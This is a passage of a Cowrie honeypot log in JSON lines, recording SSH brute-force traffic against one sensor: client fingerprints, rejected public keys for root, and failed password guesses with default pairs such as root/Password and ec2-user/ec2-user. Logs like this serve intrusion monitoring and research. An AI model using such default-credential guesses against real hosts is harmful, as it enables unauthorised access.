bc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:02.921163Z","src_ip":"45.148.146.52","session":"5744a9cec685","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:82:79:eb:60:b1:42:27:e3:93:e4:18:70:dd:3e:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2irbjliCJUdVj4YUxVq7ZK8VqFCWhULpXrb0MgPnNLG/7QsAneOkNVLhqaBk2SRXjzyrPsHUe50yqKYAyS5wyTbQP6RWeO0U01Th2WHRYX07jL6ZNntYdd/a+2gi20vej6ikgJS0JsGwZuCqM0BciejDiuWcnnIPOP3DSTRzx338dDui+qFcgq3QBhyHVzT0UwN9mXYqbFf01zZoArGLZhFgMUl4SO6wLawzscs7RTlEtam0BLQ3rEj/YbfBlBAzUtC7ANYm5hazyl4AqNz3I2rDczqAUZDO0vwr5svAqnM97GgXJBaoM0bjQAWK7+dO3MP4lmiGSWcCiGAOEcGizQMd5DYjA86ExGR+oIVqAkVqBBcw3lr4/eWSeY+gqfzuuuWbLNBp8WC88N6FlnNiZjxnSuuAYJYAdugDtYvv5majKouzTyHBDKS9fVgB69Kk7cIIsykiAwfAAaRgUMPCy7H0sGr2iB997vz89PK4WHXO9FTGuRPVm8htLUS6TEqc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:82:79:eb:60:b1:42:27:e3:93:e4:18:70:dd:3e:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:03.351888Z","src_ip":"45.148.146.52","session":"5744a9cec685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:82:79:eb:60:b1:42:27:e3:93:e4:18:70:dd:3e:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2irbjliCJUdVj4YUxVq7ZK8VqFCWhULpXrb0MgPnNLG/7QsAneOkNVLhqaBk2SRXjzyrPsHUe50yqKYAyS5wyTbQP6RWeO0U01Th2WHRYX07jL6ZNntYdd/a+2gi20vej6ikgJS0JsGwZuCqM0BciejDiuWcnnIPOP3DSTRzx338dDui+qFcgq3QBhyHVzT0UwN9mXYqbFf01zZoArGLZhFgMUl4SO6wLawzscs7RTlEtam0BLQ3rEj/YbfBlBAzUtC7ANYm5hazyl4AqNz3I2rDczqAUZDO0vwr5svAqnM97GgXJBaoM0bjQAWK7+dO3MP4lmiGSWcCiGAOEcGizQMd5DYjA86ExGR+oIVqAkVqBBcw3lr4/eWSeY+gqfzuuuWbLNBp8WC88N6FlnNiZjxnSuuAYJYAdugDtYvv5majKouzTyHBDKS9fVgB69Kk7cIIsykiAwfAAaRgUMPCy7H0sGr2iB997vz89PK4WHXO9FTGuRPVm8htLUS6TEqc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:03.356005Z","src_ip":"45.148.146.52","session":"5744a9cec685","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:ee:b4:56:07:72:7d:e5:94:22:62:e3:22:5e:bd:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClCoGoPsvzPP9t8kDQM8l+gj1N0yvqfkusTdK7wE5wBFEIhI4L3xbQ8RaqY8uQyW5ijP/xKflKifzvsGrv2d9upS3zD4gqYRkJG/EhJyPykwWonN+44Wvq7o8+d/2boWS7juxKW+6ivcnYuvmcvPAn4cqzIScRy29EWWaqaWnJi3kbz0oBRMsUFumaIQ64Ku2AMTlaxcFjUfzGSUeXqciMFlVEHleGiqYsyKnM+YOePQHUESj8EvXp6jJ4z7kJ0yxXkxvtEiXKkUzyqrysZH25efb1l+XM9BikIDP/QLp4HGuFFp3OARCRo11HSKBI9zGWDcHliDN3NXklhQgiWHCm3Fbz6xg76DJWJJ39qD/k4fPF40ZuQ6Sq616MXaJcs+e6idHlrWoUbs+6xm+nzQ06bu4VaFq8gYdHiZFshSNl8ArnbJJmjHgLhZkr1IvXpG9rfbPIHasI9cShnRxUMpi6Q7vwdCcaiUgktkBBYgdx5ePl5TfZ5WDWjwidueh9Rs+r5jEvhTwAKIcB69CCO+Zs7ArW1VWjAwsDBGE8i9dAvjRa2tJrsATzf6WmT6aAoPw8Wk86G3UWDqudw+XVQo6E/Nlft3MU6R8DYGAcqK5mba6s/K8tXBdE0iuZFp8aln4TjrVISmBb0r89yFXdZMjhWbvrU9latq694B/bEAeRSw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:ee:b4:56:07:72:7d:e5:94:22:62:e3:22:5e:bd:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:03.448103Z","src_ip":"45.148.146.52","session":"5744a9cec685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:ee:b4:56:07:72:7d:e5:94:22:62:e3:22:5e:bd:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClCoGoPsvzPP9t8kDQM8l+gj1N0yvqfkusTdK7wE5wBFEIhI4L3xbQ8RaqY8uQyW5ijP/xKflKifzvsGrv2d9upS3zD4gqYRkJG/EhJyPykwWonN+44Wvq7o8+d/2boWS7juxKW+6ivcnYuvmcvPAn4cqzIScRy29EWWaqaWnJi3kbz0oBRMsUFumaIQ64Ku2AMTlaxcFjUfzGSUeXqciMFlVEHleGiqYsyKnM+YOePQHUESj8EvXp6jJ4z7kJ0yxXkxvtEiXKkUzyqrysZH25efb1l+XM9BikIDP/QLp4HGuFFp3OARCRo11HSKBI9zGWDcHliDN3NXklhQgiWHCm3Fbz6xg76DJWJJ39qD/k4fPF40ZuQ6Sq616MXaJcs+e6idHlrWoUbs+6xm+nzQ06bu4VaFq8gYdHiZFshSNl8ArnbJJmjHgLhZkr1IvXpG9rfbPIHasI9cShnRxUMpi6Q7vwdCcaiUgktkBBYgdx5ePl5TfZ5WDWjwidueh9Rs+r5jEvhTwAKIcB69CCO+Zs7ArW1VWjAwsDBGE8i9dAvjRa2tJrsATzf6WmT6aAoPw8Wk86G3UWDqudw+XVQo6E/Nlft3MU6R8DYGAcqK5mba6s/K8tXBdE0iuZFp8aln4TjrVISmBb0r89yFXdZMjhWbvrU9latq694B/bEAeRSw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:03.455887Z","src_ip":"45.148.146.52","session":"5744a9cec685","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:89:6e:92:5d:55:1b:dc:35:4b:f6:7b:76:ec:42:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCt9l+e7REA9NtmOTUiRdJSSJ9uYyPPboz3MCgiv2UdrL+PUohM9WqEI3FLWNjAe+Ne7BwXXYzSRGyPWhETRhP7RkrMMkG5DUM3aJBsSTrKwtNhGnZFAps8HUKtAzLNZVKJHwRwEz/vXPWO7u1XiFoVqynRiUvk6rYS8OBmThIlHtaCLuVtD00UfPLloiF4HLfhtF82CYvjpZqust951hR+0jFaSma/rTBsjggGXV0iNh1oAoWzH+HDmc0kkzRFNpByDcCES2C3vE4UGVoVuAJFj7v2uvp+KyyksXU/ihjAjFvsYyXJFtOPKXj4dWbgmHoe1ChevQ5doxTOSWGkkHWPrxsMF3+e0Z53JCb+5ZOAn1PDN4wYKN7qsbaxt9duWHHTiKf0Z3Ql+zj24iMAZblwG5TkXqnf6p1SSygFeILM7kn7c2pOIfuFvsA1/kSFHbthsFYdZg+GyvD3FecBs1FCQKUlJwlnTdXHJXknp9mfixnQ4J2iQ5s9gXshuZk4OjxwMNCUsUAa4MrD2fL9T/bOkzFQNAkaDq0qfwLTWnBg5GPJbuaQle2K9wMs6aqvi9p4bwYJSOSZdcDFbuFY/dQvQWh1WhmwrOWzNnthmYEO8s4MRQ/SfV5WPUNlYrbTtE2zs3BS+SEQRwWYgUZjNXnmncXQa5lvOSdFQbK8pcfY5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:89:6e:92:5d:55:1b:dc:35:4b:f6:7b:76:ec:42:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:03.547425Z","src_ip":"45.148.146.52","session":"5744a9cec685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:89:6e:92:5d:55:1b:dc:35:4b:f6:7b:76:ec:42:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCt9l+e7REA9NtmOTUiRdJSSJ9uYyPPboz3MCgiv2UdrL+PUohM9WqEI3FLWNjAe+Ne7BwXXYzSRGyPWhETRhP7RkrMMkG5DUM3aJBsSTrKwtNhGnZFAps8HUKtAzLNZVKJHwRwEz/vXPWO7u1XiFoVqynRiUvk6rYS8OBmThIlHtaCLuVtD00UfPLloiF4HLfhtF82CYvjpZqust951hR+0jFaSma/rTBsjggGXV0iNh1oAoWzH+HDmc0kkzRFNpByDcCES2C3vE4UGVoVuAJFj7v2uvp+KyyksXU/ihjAjFvsYyXJFtOPKXj4dWbgmHoe1ChevQ5doxTOSWGkkHWPrxsMF3+e0Z53JCb+5ZOAn1PDN4wYKN7qsbaxt9duWHHTiKf0Z3Ql+zj24iMAZblwG5TkXqnf6p1SSygFeILM7kn7c2pOIfuFvsA1/kSFHbthsFYdZg+GyvD3FecBs1FCQKUlJwlnTdXHJXknp9mfixnQ4J2iQ5s9gXshuZk4OjxwMNCUsUAa4MrD2fL9T/bOkzFQNAkaDq0qfwLTWnBg5GPJbuaQle2K9wMs6aqvi9p4bwYJSOSZdcDFbuFY/dQvQWh1WhmwrOWzNnthmYEO8s4MRQ/SfV5WPUNlYrbTtE2zs3BS+SEQRwWYgUZjNXnmncXQa5lvOSdFQbK8pcfY5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:03.551214Z","src_ip":"45.148.146.52","session":"5744a9cec685","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:21:30:ba:84:71:d8:ad:1d:14:b9:4f:5a:0b:78:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIQmEC2Mtq4oruuvNTqP1VhIr22bOJTW/Bu4ECT6IbtNToyu4Xh68sJw5vNLSnwS5w+hLOZpv12ckbUzkeuS7PnQx4Gjq1YEOb+aWbRRAunglKa+7RLzYDX+jFSh9Vm2FASwfncFqWUjY0wdPePEvqQLK53XK7DPZ9sDDNLGMIR25wQC+FjylcaM9tcXkLAmxVPqRk8wQZee2zgV6PilBBsR/0B9I/+/SHwbQsYUCWtcXj9YxbDBxM4TJiit7CayKTzCNuPl46vAxXqhPxr64suqfuV+YOb4hEKm+iI55p345FedQPKHAOu+kh1CIwB//FFNMJGUk78XLRNJDRysz/Y8wobzTa+lqSJ+4zbzxGF9rJCCG5iIzSGNc2jmsXjGQsFAPaQPur9UQ7rNzppba4j21weZ/07U5UQ0ik+225zoop1ry1XAhpy4fRsA+gTFBRqtK3dDuQmTypz++nRMUn221c1I6BjxoOxVH3/OML+kO8UDt1PlR8wdrH+YwIEMREbo3WSY+tlTsGkIwmuBlNJHJIUBcetRAXKjqDIQ5CQRK/WhsI10h9+G4wRUE5qsb5hzXzXuKNjlmw4fc7Bl+VkKk4e8MGegpD6/Opln76Dn/qD6IE17pPxw9iOZfgXZqy9lLnHOncSGX/p1+x9SL1TJERKb2SfUGO18rFrrZXJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:21:30:ba:84:71:d8:ad:1d:14:b9:4f:5a:0b:78:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:03.642010Z","src_ip":"45.148.146.52","session":"5744a9cec685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:21:30:ba:84:71:d8:ad:1d:14:b9:4f:5a:0b:78:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIQmEC2Mtq4oruuvNTqP1VhIr22bOJTW/Bu4ECT6IbtNToyu4Xh68sJw5vNLSnwS5w+hLOZpv12ckbUzkeuS7PnQx4Gjq1YEOb+aWbRRAunglKa+7RLzYDX+jFSh9Vm2FASwfncFqWUjY0wdPePEvqQLK53XK7DPZ9sDDNLGMIR25wQC+FjylcaM9tcXkLAmxVPqRk8wQZee2zgV6PilBBsR/0B9I/+/SHwbQsYUCWtcXj9YxbDBxM4TJiit7CayKTzCNuPl46vAxXqhPxr64suqfuV+YOb4hEKm+iI55p345FedQPKHAOu+kh1CIwB//FFNMJGUk78XLRNJDRysz/Y8wobzTa+lqSJ+4zbzxGF9rJCCG5iIzSGNc2jmsXjGQsFAPaQPur9UQ7rNzppba4j21weZ/07U5UQ0ik+225zoop1ry1XAhpy4fRsA+gTFBRqtK3dDuQmTypz++nRMUn221c1I6BjxoOxVH3/OML+kO8UDt1PlR8wdrH+YwIEMREbo3WSY+tlTsGkIwmuBlNJHJIUBcetRAXKjqDIQ5CQRK/WhsI10h9+G4wRUE5qsb5hzXzXuKNjlmw4fc7Bl+VkKk4e8MGegpD6/Opln76Dn/qD6IE17pPxw9iOZfgXZqy9lLnHOncSGX/p1+x9SL1TJERKb2SfUGO18rFrrZXJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:03.646233Z","src_ip":"45.148.146.52","session":"5744a9cec685","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:74:32:56:48:8c:75:9e:b6:b5:4b:f6:22:d8:28:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD7DUzqQD5uIM8gUnI9JKn+lhoD9P3T4nKKRh7U/9NBA8OFqUihtTlKeXeVnfKclHE6EV60MiiEUDAW7+TR2/9VwTvL+pivuB2nqW4Or+JPhKTjLcmqoGvzgqYN2OjrNBk5pJ7/7pFknBoNR5UbZTfc8x2JAb+Vw4ibLUXQTd2QSDmVE8Hfm3L3vyfJI3Ge9adSmwWpT8U4M6cvUrmY3AdGN3ujNJIhmNrNJ9X/JvtIFa3Prlk+F3d4QiNZFHegLHs2Dwff+N4ajPgzjcCZqFugcDV6A7ECk3OBbLcW8z7oun5kJz5jM2TBfccvpKpafmrou2Z/eb4QpMVlhg+pywwTy/l4mH6VWNWVzSmgXQVXPkxXqct50BJOodXlqUhY4zXphBsT6fbVpOzJg68eVfY82t6N5dBe45pXOY3Aaiwg3oC02EDwwJh42XgRk7FaRrn6zUaGln60nvDsbqULATsfFtK256bXkSHKI5phWSVymcy6xvKu+SokeKixjmEv4ZqcBCszspRo1IC58AQLfRQ/o4ZM3tPw28Nc0WQRknWIm6awR2HN3uUV/WdqGn8o7Feo+bydOzq6m6vJOPTPkMWQiGo2GPhaDumibNJUrt7wmuMuvmHZIj0dhcjbWSF0xF1cVF0PB/m/ftk/EWFyqS4xDfbTVHl39WXRm6ZXIwIuvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:74:32:56:48:8c:75:9e:b6:b5:4b:f6:22:d8:28:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:03.737254Z","src_ip":"45.148.146.52","session":"5744a9cec685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:74:32:56:48:8c:75:9e:b6:b5:4b:f6:22:d8:28:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD7DUzqQD5uIM8gUnI9JKn+lhoD9P3T4nKKRh7U/9NBA8OFqUihtTlKeXeVnfKclHE6EV60MiiEUDAW7+TR2/9VwTvL+pivuB2nqW4Or+JPhKTjLcmqoGvzgqYN2OjrNBk5pJ7/7pFknBoNR5UbZTfc8x2JAb+Vw4ibLUXQTd2QSDmVE8Hfm3L3vyfJI3Ge9adSmwWpT8U4M6cvUrmY3AdGN3ujNJIhmNrNJ9X/JvtIFa3Prlk+F3d4QiNZFHegLHs2Dwff+N4ajPgzjcCZqFugcDV6A7ECk3OBbLcW8z7oun5kJz5jM2TBfccvpKpafmrou2Z/eb4QpMVlhg+pywwTy/l4mH6VWNWVzSmgXQVXPkxXqct50BJOodXlqUhY4zXphBsT6fbVpOzJg68eVfY82t6N5dBe45pXOY3Aaiwg3oC02EDwwJh42XgRk7FaRrn6zUaGln60nvDsbqULATsfFtK256bXkSHKI5phWSVymcy6xvKu+SokeKixjmEv4ZqcBCszspRo1IC58AQLfRQ/o4ZM3tPw28Nc0WQRknWIm6awR2HN3uUV/WdqGn8o7Feo+bydOzq6m6vJOPTPkMWQiGo2GPhaDumibNJUrt7wmuMuvmHZIj0dhcjbWSF0xF1cVF0PB/m/ftk/EWFyqS4xDfbTVHl39WXRm6ZXIwIuvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:03.740949Z","src_ip":"45.148.146.52","session":"5744a9cec685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:03.834055Z","src_ip":"45.148.146.52","session":"5744a9cec685","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":51044,"dst_ip":"159.203.135.109","dst_port":22,"session":"367d2df6cb89","protocol":"ssh","message":"New connection: 172.237.20.62:51044 (159.203.135.109:22) [session: 367d2df6cb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:06.300434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:06.305255Z","src_ip":"172.237.20.62","session":"367d2df6cb89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:06.470612Z","src_ip":"172.237.20.62","session":"367d2df6cb89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:07.025036Z","src_ip":"172.237.20.62","session":"367d2df6cb89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:08.192359Z","src_ip":"172.237.20.62","session":"367d2df6cb89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":39590,"dst_ip":"159.203.135.109","dst_port":22,"session":"b49720dcf088","protocol":"ssh","message":"New connection: 172.237.20.62:39590 (159.203.135.109:22) [session: b49720dcf088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:17.071684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:17.076082Z","src_ip":"172.237.20.62","session":"b49720dcf088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:17.234871Z","src_ip":"172.237.20.62","session":"b49720dcf088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:17.712385Z","src_ip":"172.237.20.62","session":"b49720dcf088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:18.873715Z","src_ip":"172.237.20.62","session":"b49720dcf088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":41978,"dst_ip":"159.203.135.109","dst_port":22,"session":"c774b3b745f7","protocol":"ssh","message":"New connection: 172.237.20.62:41978 (159.203.135.109:22) [session: c774b3b745f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:28.149955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:28.155004Z","src_ip":"172.237.20.62","session":"c774b3b745f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:28.314822Z","src_ip":"172.237.20.62","session":"c774b3b745f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:28.791910Z","src_ip":"172.237.20.62","session":"c774b3b745f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.04002094268799,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:29.934798Z","src_ip":"45.58.127.90","session":"f62e0b42f163","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:29:29.954392Z","src_ip":"172.237.20.62","session":"c774b3b745f7","protocol":"ssh"}
